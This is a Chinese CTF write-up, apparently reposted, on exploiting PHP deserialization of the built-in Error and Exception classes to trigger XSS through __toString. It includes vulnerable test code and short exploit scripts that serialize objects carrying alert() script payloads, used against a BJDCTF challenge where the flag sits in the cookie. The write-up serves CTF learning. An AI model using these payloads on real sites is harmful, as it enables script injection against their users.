PHP原生类反序列化
前言:
PHP原生類反序列化之前沒遇到過,這次BJDCTF恰好碰到了,通過具體的題目來學習一下
利用魔法方法 __toString
Error----適用于php7版本----XSS
Error類就是php的一個內(nèi)置類用于自動自定義一個Error,在php7的環(huán)境下可能會造成一個xss漏洞,因為它內(nèi)置有一個toString的方法。
測試代碼
<?php $a = unserialize($_GET['lemon']); echo $a;EXP
<?php $a = new Error("<script>alert(1)</script>"); echo urlencode(serialize($a)); #注意版本是PHP7Exception----適用于php5、7版本----XSS
測試代碼(這里直接使用賽題的環(huán)境)
<?php $a = unserialize($_GET['lemon']); echo $a;EXP
<?php $a = new Exception("<script>alert(/lemon/)</script>"); echo urlencode(serialize($a));
這里也記錄下一些XSS的知識
xss之光
開始用目錄掃描器掃一下,發(fā)現(xiàn)是git泄露,下載下來,發(fā)現(xiàn)index.php文件
隨便序列化一個傳入試試,能輸出
而且這和之前遇到過的反序列化問題就很不一樣了,沒有一個類,所以只能找到php內(nèi)置類來進行反序列化,抓包發(fā)現(xiàn)版本是PHP5,使用PHP5內(nèi)置Exception類進行反序列化
flag就在COOKIE中
總結(jié):
當遇到反序列化問題的時,代碼中一個類都沒有,便對原生類進行反序列化。
未完待續(xù),待之后發(fā)現(xiàn)有新的再來補充。。。
參考博客
https://www.gem-love.com/ctf/2097.html#XSS
http://blog.ydspoplar.top/2020/03/17/php%E5%8F%AF%E5%88%A9%E7%94%A8%E7%9A%84%E5%8E%9F%E7%94%9F%E7%B1%BB/
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
總結(jié)
以上是生活随笔為你收集整理的PHP原生类反序列化的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【BJDCTF 2nd—MISC/Cry
- 下一篇: PHP反序列化—构造POP链